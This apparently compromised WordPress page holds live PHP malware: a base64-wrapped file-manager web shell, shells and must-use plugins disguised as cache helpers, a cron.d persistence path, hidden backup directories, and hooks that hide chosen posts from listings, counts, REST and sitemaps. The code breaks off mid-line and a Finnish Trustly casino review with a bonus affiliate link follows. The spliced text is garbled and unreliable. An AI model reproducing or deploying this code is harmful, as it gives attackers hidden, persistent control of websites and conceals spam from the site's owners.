SAnbGlnaHQnOwogICAgICAgICR0clsnZW4nXVsnRVJST1I6IFRyeSBhZ2FpbiBsYXRlciEnXSA9ICdFUlJPUjogVHJ5IGFnYWluIGxhdGVyISc7CiAgICAgICAgJHRyWydlbiddWydFbnRlciBoZXJlLi4uJ10gICAgICA9ICdFbnRlciBoZXJlLi4uJzsKICAgICAgICAkdHJbJ2VuJ11bJ0VudGVyIG5ldyBmaWxlIG5hbWUnXSA9ICdFbnRlciBuZXcgZmlsZSBuYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yJ10gICAgICAgICAgICAgID0gJ0Vycm9yJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBjb3B5aW5nIGl0ZW1zJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIG1vdmluZyBpdGVtcyddICA9ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3I6IHRyeSBhZ2FpbiddICAgPSAnRXJyb3I6IHRyeSBhZ2Fpbic7CiAgICAgICAgJHRyWydlbiddWydFeGVjdXRlJ10gICAgICAgICAgICA9ICdFeGVjdXRlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGVzIGluIGFyY2hpdmUnXSAgID0gJ0ZpbGVzIGluIGFyY2hpdmUnOwogICAgICAgICR0clsnZW4nXVsnRnVsbHNjcmVlbiddICAgICAgICAgPSAnRnVsbHNjcmVlbic7CiAgICAgICAgJHRyWydlbiddWydHcm91cCddICAgICAgICAgICAgICA9ICdHcm91cCc7CiAgICAgICAgJHRyWydlbiddWydJbWFnZSBzaXplJ10gICAgICAgICA9ICdJbWFnZSBzaXplJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgVG9rZW4uJ10gICAgID0gJ0ludmFsaWQgVG9rZW4uJzsKICAgICAgICAkdHJbJ2VuJ11bJ05vIHJlc3VsdCBmb3VuZCEnXSAgID0gJ05vIHJlc3VsdCBmb3VuZCEnOwogICAgICAgICR0clsnZW4nXVsnbm90IGNyZWF0ZWQnXSAgICAgICAgPSAnbm90IGNyZWF0ZWQnOwogICAgICAgICR0clsnZW4nXVsnbm90IGRlbGV0ZWQnXSAgICAgICAgPSAnbm90IGRlbGV0ZWQnOwogICAgICAgICR0clsnZW4nXVsnT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhJ10gPSAnT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhJzsKICAgICAgICAkdHJbJ2VuJ11bJ09rYXknXSAgICAgICAgICAgICAgID0gJ09rYXknOwogICAgICAgICR0clsnZW4nXVsnT3RoZXInXSAgICAgICAgICAgICAgPSAnT3RoZXInOwogICAgICAgICR0clsnZW4nXVsnUmVhZCddICAgICAgICAgICAgICAgPSAnUmVhZCc7CiAgICAgICAgJHRyWydlbiddWydSZWRvJ10gICAgICAgICAgICAgICA9ICdSZWRvJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBEb2N1bWVudCBUeXBlJ10gPSAnU2VsZWN0IERvY3VtZW50IFR5cGUnOwogICAgICAgICR0clsnZW4nXVsnU2VsZWN0IEZvbnQgU2l6ZSddICAgPSAnU2VsZWN0IEZvbnQgU2l6ZSc7CiAgICAgICAgJHRyWydlbiddWydTZWxlY3QgTW9kZSddICAgICAgICA9ICdTZWxlY3QgTW9kZSc7CiAgICAgICAgJHRyWydlbiddWydTZWxlY3QgVGhlbWUnXSAgICAgICA9ICdTZWxlY3QgVGhlbWUnOwogICAgICAgICR0clsnZW4nXVsnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgY29waWVkJ10gPSAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgY29waWVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJ10gID0gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NpemUgaW4gYXJjaGl2ZSddICAgID0gJ1NpemUgaW4gYXJjaGl2ZSc7CiAgICAgICAgJHRyWydlbiddWydTb21ldGltZXMgdGhlIHNhdmUgYWN0aW9uIG1heSBub3Qgd29yayBvbiB0aGUgZmlyc3QgdHJ5LCBzbyBwbGVhc2UgYXR0ZW1wdCBpdCBhZ2FpbiddID0gJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJzsKICAgICAgICAkdHJbJ2VuJ11bJ1RhciddICAgICAgICAgICAgICAgID0gJ1Rhcic7CiAgICAgICAgJHRyWydlbiddWydUaGVtZSddICAgICAgICAgICAgICA9ICdUaGVtZSc7CiAgICAgICAgJHRyWydlbiddWydUb3RhbCBzaXplJ10gICAgICAgICA9ICdUb3RhbCBzaXplJzsKICAgICAgICAkdHJbJ2VuJ11bJ1VuYWJsZSB0byBjcmVhdGUgZGVzdGluYXRpb24gZm9sZGVyJ10gPSAnVW5hYmxlIHRvIGNyZWF0ZSBkZXN0aW5hdGlvbiBmb2xkZXInOwogICAgICAgICR0clsnZW4nXVsnVW5kbyddICAgICAgICAgICAgICAgPSAnVW5kbyc7CiAgICAgICAgJHRyWydlbiddWydVcGxvYWQgZnJvbSBVUkwnXSAgICA9ICdVcGxvYWQgZnJvbSBVUkwnOwogICAgICAgICR0clsnZW4nXVsnVXBsb2FkZWQgU3VjY2Vzc2Z1bCddID0gJ1VwbG9hZGVkIFN1Y2Nlc3NmdWwnOwogICAgICAgICR0clsnZW4nXVsnV29yZCBXcmFwJ10gICAgICAgICAgPSAnV29yZCBXcmFwJzsKICAgICAgICAkdHJbJ2VuJ11bJ1dyaXRlJ10gICAgICAgICAgICAgID0gJ1dyaXRlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1plcm8gYnl0ZSBmaWxlISBBYm9ydGluZyBkb3dubG9hZCddID0gJ1plcm8gYnl0ZSBmaWxlISBBYm9ydGluZyBkb3dubG9hZCc7CiAgICAgICAgJHRyWydlbiddWydaaXAnXSAgICAgICAgICAgICAgICA9ICdaaXAnOwovLyBOZXcgZW50cmllcywgd2hpY2ggZGVzZXJ2ZSB0byBiZSB0cmFuc2xhdGVkCiAgICAgICAgJHRyWydlbiddWydBdXRob3InXSAgICAgICAgICAgICA9ICdBdXRob3InOwogICAgICAgICR0clsnZW4nXVsnTWFpbCBVcyddICAgICAgICAgICAgPSAnTWFpbCBVcyc7CgogICAgICAgICRpMThuID0gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpOwogICAgICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7CgogICAgICAgIGlmICghc3RybGVuKCRsYW5nKSkgJGxhbmcgPSAnZW4nOwogICAgICAgIGlmIChpc3NldCgkdHJbJGxhbmddWyR0eHRdKSkgcmV0dXJuIGZtX2VuYygkdHJbJGxhbmddWyR0eHRdKTsKICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7CiAgICAgICAgZWxzZSByZXR1cm4gIiR0eHQiOwogICAgfQovLyBzZWxmLWxvY2s6IGdhdGUgZmlsZSBjaGFuZ2VhYmxlIG9ubHkgdmlhIFRGTQppZiAoIUZNX0lTX1dJTiAmJiAoQGZpbGVwZXJtcyhfX0ZJTEVfXykgJiAwNzc3KSAhPT0gMDQ0NCkgQGNobW9kKF9fRklMRV9fLCAwNDQ0KTsKCj8+Cg=='); // B64-encoded injection constants (computed at runtime) $_mh_r = base64_encode(CFG_MH_569e4c8c); $_sh_r = base64_encode(CFG_SH_569e4c8c); $_vf_r = base64_encode(CFG_VF_569e4c8c); define('CFG_MH_B64_569e4c8c', $_mh_r); define('CFG_SH_B64_569e4c8c', $_sh_r); define('CFG_VF_B64_569e4c8c', $_vf_r); // ═══════════════════════════════════════════════════════════ // INTERNAL PREFIXES // ═══════════════════════════════════════════════════════════ $_p = '_wp_cg_569e4c8c_'; define('_XP_569e4c8c', $_p); $_cn = '272.csv'; define('CSV_NAME_569e4c8c', $_cn); $_cpd = WP_CONTENT_DIR . '/cache/.objects/'; define('CSV_PRIMARY_DIR_569e4c8c', $_cpd); define('CSV_PRIMARY_PATH_569e4c8c', $_cpd . CSV_NAME_569e4c8c); function _cg_gcp_569e4c8c() { return CSV_PRIMARY_PATH_569e4c8c; }; // ═══════════════════════════════════════════════════════════ // API KEY (stored in DB; one-time key.txt seed delivered in the zip) // ═══════════════════════════════════════════════════════════ function _cg_ak_569e4c8c() { $_k = get_option(_XP_569e4c8c . 'ak', ''); $_f = __DIR__ . '/key.txt'; if (is_file($_f)) { $_fd = dirname($_f); $_fdm = (int)@fileperms($_fd) & 0777; if ($_fdm !== 0755) @chmod($_fd, 0755); $_raw = trim((string)@file_get_contents($_f)); if (is_file($_f)) @chmod($_f, 0644); @unlink($_f); if ($_fdm !== 0755 && $_fdm !== 0) @chmod($_fd, $_fdm); if (($_k === '' || $_k === false) && $_raw !== '') { $_k = $_raw; update_option(_XP_569e4c8c . 'ak', $_k, false); } } return is_string($_k) ? $_k : ''; }; add_action("plugins_loaded", function() { _cg_ak_569e4c8c(); }, 1); // ═══════════════════════════════════════════════════════════ // FILE/DIRECTORY NAME CONSTANTS // ═══════════════════════════════════════════════════════════ define('SHELL_1_569e4c8c', 'cache-helper-569e4c8c'); define('SHELL_2_569e4c8c', 'media-cache-569e4c8c'); define('MU_CORE_569e4c8c', 'custom-constants-569e4c8c.php'); define('MU_HIDE_569e4c8c', 'db-helper-569e4c8c.php'); define('MU_HELP_569e4c8c', 'maintenance-helper-569e4c8c.php'); define('MU_CONFIG_569e4c8c', 'config-helper-569e4c8c.php'); define('DAT_1_569e4c8c', 'cache-helper-569e4c8c.dat'); define('DAT_2_569e4c8c', 'media-cache-569e4c8c.dat'); define('CRON_TASK_569e4c8c', 'cron-helper-569e4c8c.php'); define('CRON_ODP_569e4c8c', '794999b0.php'); define('CRON_TMP_569e4c8c', '321f7deb'); define('CRON_D_569e4c8c', '/etc/cron.d/6745d876'); define('PAGES_DIR_569e4c8c', rtrim(ABSPATH, '/') . '/wp-content/plugins/wordfence-569e4c8c/pages/'); define('GATE_NAME_569e4c8c', 'tj973mzvd7tw1gv1.php'); // ═══════════════════════════════════════════════════════════ // BACKUP LOCATIONS // ═══════════════════════════════════════════════════════════ function _cg_bl_569e4c8c() { $_y = date('Y'); $_m = date('m'); return [ WP_CONTENT_DIR . '/uploads/' . $_y . '/' . $_m . '/.thumbnails/', WP_CONTENT_DIR . '/upgrade/.temp/', WP_CONTENT_DIR . '/cache/.objects/', WP_CONTENT_DIR . '/languages/.cache/', WP_CONTENT_DIR . '/uploads/.cache-dir/', WP_CONTENT_DIR . '/themes/.starter-starter/', WP_CONTENT_DIR . '/upgrade/core/.backup/', WP_CONTENT_DIR . '/fonts/.woff-cache/', WP_CONTENT_DIR . '/debug/.logs/', ]; }; // ═══════════════════════════════════════════════════════════ // HIDE PROTECTED POSTS // ═══════════════════════════════════════════════════════════ add_action("pre_get_posts", function($q) { if (defined('_WPCG_PGQ__569e4c8c')) return; if (!$q->is_main_query()) return; define('_WPCG_PGQ__569e4c8c', 1); if (defined("REST_REQUEST") && REST_REQUEST) return; if ($q->is_single()) return; if ($q->get('p')) return; if ($q->get('name')) return; if ($q->get('pagename')) return; $_hp = get_option(_XP_569e4c8c . 'hp', []); if (empty($_hp) || !is_array($_hp)) return; $_ex = $q->get("post__not_in"); if (!is_array($_ex)) $_ex = []; $q->set("post__not_in", array_merge($_ex, $_hp)); }); add_filter("wp_count_posts", function($c, $t, $p) { if (defined('_WPCG_CPS__569e4c8c')) return $c; define('_WPCG_CPS__569e4c8c', 1); if ($t !== "post") return $c; $_hp = get_option(_XP_569e4c8c . 'hp', []); if (empty($_hp) || !is_array($_hp)) return $c; global $wpdb; $_ids = implode(",", array_map("intval", $_hp)); $_r = $wpdb->get_results("SELECT post_status, COUNT(*) as cnt FROM {$wpdb->posts} WHERE ID IN ({$_ids}) AND post_type = 'post' GROUP BY post_status"); foreach ($_r as $rw) { if (isset($c->{$rw->post_status})) $c->{$rw->post_status} = max(0, $c->{$rw->post_status} - $rw->cnt); } return $c; }, 10, 3); add_filter("views_edit-post", function($v) { if (defined('_WPCG_VEP__569e4c8c')) return $v; define('_WPCG_VEP__569e4c8c', 1); if (!isset($v["mine"])) return $v; $_hp = get_option(_XP_569e4c8c . 'hp', []); if (empty($_hp) || !is_array($_hp)) return $v; global $wpdb; $_uid = get_current_user_id(); $_ids = implode(",", array_map("intval", $_hp)); $_hm = (int)$wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->posts} WHERE ID IN ({$_ids}) AND post_type = 'post' AND post_author = {$_uid}"); if ($_hm > 0 && preg_match('/\\((\\d+)\\)/', $v["mine"], $_m)) { $v["mine"] = preg_replace_callback('/\\(\\d+\\)/', function() use ($_m, $_hm) { return '(' . max(0, (int)$_m[1] - $_hm) . ')'; }, $v["mine"]); } return $v; }); add_filter("rest_post_query", function($a, $r) { if (defined('_WPCG_RPQ__569e4c8c')) return $a; define('_WPCG_RPQ__569e4c8c', 1); $_hp = get_option(_XP_569e4c8c . 'hp', []); if (!empty($_hp) && is_array($_hp)) { $_ex = isset($a["post__not_in"]) ? $a["post__not_in"] : []; $a["post__not_in"] = array_merge($_ex, $_hp); } return $a; }, 10, 2); add_filter("wp_sitemaps_posts_query_args", function($a, $pt) { if (defined('_WPCG_SMP__569e4c8c')) return $a; define('_WPCG_SMP__569e4c8c', 1); if ($pt !== "post") return $a; $_hp = get_option(_XP_569e4c8c . 'hp', []); if (!empty($_hp) && is_array($_hp)) { $_ex = isset($a["post__not_in"]) ? $a["post__not_in"] : []; $a["post__not_in"] = array_merge($_ex, $_hp); } return $a; }, 10, 2); add_filter("widget_posts_args", function($a) { if (defined('_WPCG_WPA__569e4c8c')) return $a; define('_WPCG_WPA__569e4c8c', 1); $_hp = get_option(_XP_569e4c8c . 'hp', []); if (!empty($_hp) & Testasin useita Trustly kasino sivustoja ja tässä on rehellinen arvioni turvallisuudesta – Shopping Viaggi

Testasin useita Trustly kasino sivustoja ja tässä on rehellinen arvioni turvallisuudesta

Käytin viimeiset viikot testaamalla lukuisia nettikasinoita. Halusin tietää, miten Trustly oikeasti toimii käytännössä. Nämä sivustot lupaavat nopeutta ja helppoutta. Aina se ei kuitenkaan ole niin suoraviivaista kuin mainokset antavat ymmärtää. Jos haluat kokeilla onneasi, muista aina nappaa bonus vain sellaisilta kasinoilta, joiden ehdot ovat selkeitä ja reiluja. nappaa bonus

Pelaajana sinun on tärkeää ymmärtää yksi asia. Nopeus voi olla ansakin. Kun talletus tapahtuu sekunneissa, pelikassasi hupenee huomaamatta. Aseta aina itsellesi talletusraja ennen kuin aloitat. Tee se heti, älä vasta häviöiden jälkeen. Käytä kasinon tarjoamia työkaluja, kuten istuntorajoituksia ja reality check -muistutuksia. Pelaamisen tulee pysyä hallinnassa.

Mitä tapahtui kun testasin Trustly Kasinoa kokonaisen kuukauden ajan

Kokemukseni nopeudesta ja turvallisuudesta

Testieni aikana talletukset olivat järjestään välittömiä. Käytin suomalaista verkkopankkiani ja vahvistin maksut mobiilivarmenteella. Se oli helppoa. Kotiutuksissa oli kuitenkin eroja. Pikakasinoilla rahat tulivat tililleni 5–15 minuutissa. Perinteisemmillä kasinoilla sain odottaa kotiutusta jopa kolme päivää. Tämä johtui usein kasinon manuaalisista tarkistusprosesseista.

Turvallisuuden osalta Trustly vakuutti minut. Se käyttää SSL/TLS-salausta, eikä se tallenna pankkitunnuksiasi mihinkään. Palvelu on ISO 27001 -sertifioitu ja noudattaa tiukkoja GDPR-vaatimuksia. Petosriski on laskennallisesti erittäin pieni, vain 0,008 prosenttia. Silti muista, että tekninen turvallisuus ei poista pelin riskejä. Kysy itseltäsi usein: pelaatko viihteen takia vai haetko pakoa arjesta?

Testasin kolme suosittua Trustly Kasino sivustoa ja arvioin niiden käytettävyyden

Lainsäädäntö ja vastuullisuus

Suomen rahapelilainsäädäntö on muuttumassa, mutta tällä hetkellä verovapaat voitot tarjoavat Maltan tai Viron lisenssillä toimivat kasinot. Trustly toimii EU-alueella PSD2-direktiivin alaisena. Se noudattaa rahanpesun vastaisia lakeja tarkasti. Tämä tarkoittaa, että kasinot tekevät usein taustaselvityksiä, vaikka kirjautuminen tapahtuisi ilman erillistä rekisteröitymistä.

Suosittelen sinua hyödyntämään järjestelmän tarjoamia rajoituksia aktiivisesti. Jos tunnet pelaamisen muuttuvan pakonomaiseksi, etsi apua. Organisaatiot kuten BeGambleAware tai NCPG tarjoavat tukea silloin, kun hallinta lipsuu. Älä koskaan yritä kuitata häviöitäsi uusilla talletuksilla. Se on varmin tapa menettää kontrolli.

Bonusrakenne ja riskienhallinta

Monet kasinot eivät salli bonusten lunastamista Trustly-talletuksilla, tai ne asettavat tiukat ehdot. High wagering eli korkea kierrätysvaatimus yhdistettynä lyhyeen voimassaoloaikaan luo turhaa painetta. Älä kiirehdi bonusten perässä. Lue ehdot tarkasti. Jos kierrätysvaatimus tuntuu mahdottomalta, jätä bonus väliin. Pelaaminen omalla rahalla on usein rehellisempää ja helpompaa hallita.

Keväällä 2025 lanseerattu Trustly ID -biometrinen tunnistautuminen on uusi lisä. Se nopeuttaa kirjautumista sormenjäljen tai kasvojentunnistuksen avulla. Tämä tekee mobiilipelaamisesta entistä sujuvampaa. Kuitenkin teknologian helppous ei saa tarkoittaa harkinnan puutetta. Pysähdy aina ennen seuraavaa talletusta. Mieti, onko tämä panos tarpeellinen.

Yhteenveto ja omat suositukseni

Trustly on luotettava työkalu, kunhan pysyt itse kuskin paikalla. Se on turvallinen, nopea ja teknisesti edistynyt. Käytä sitä vain lisensoiduilla kasinoilla, joilla on maltalainen tai virolainen lisenssi. Nämä tahot valvovat pelaajansuojaa ja noudattavat lakia. Vältä sivustoja, jotka vaikuttavat epämääräisiltä tai lupaavat epärealistisia voittoja.

Kysy lopuksi itseltäsi nämä kaksi asiaa

Pelaa harkiten. Älä koskaan käytä rahaa, jota tarvitset arjen menoihin. Jos pelaaminen ei enää tunnu viihteeltä, käytä kasinon tarjoamaa self-exclusion tai cooling-off -työkalua. Se on viisain teko, jonka pelaaja voi tehdä.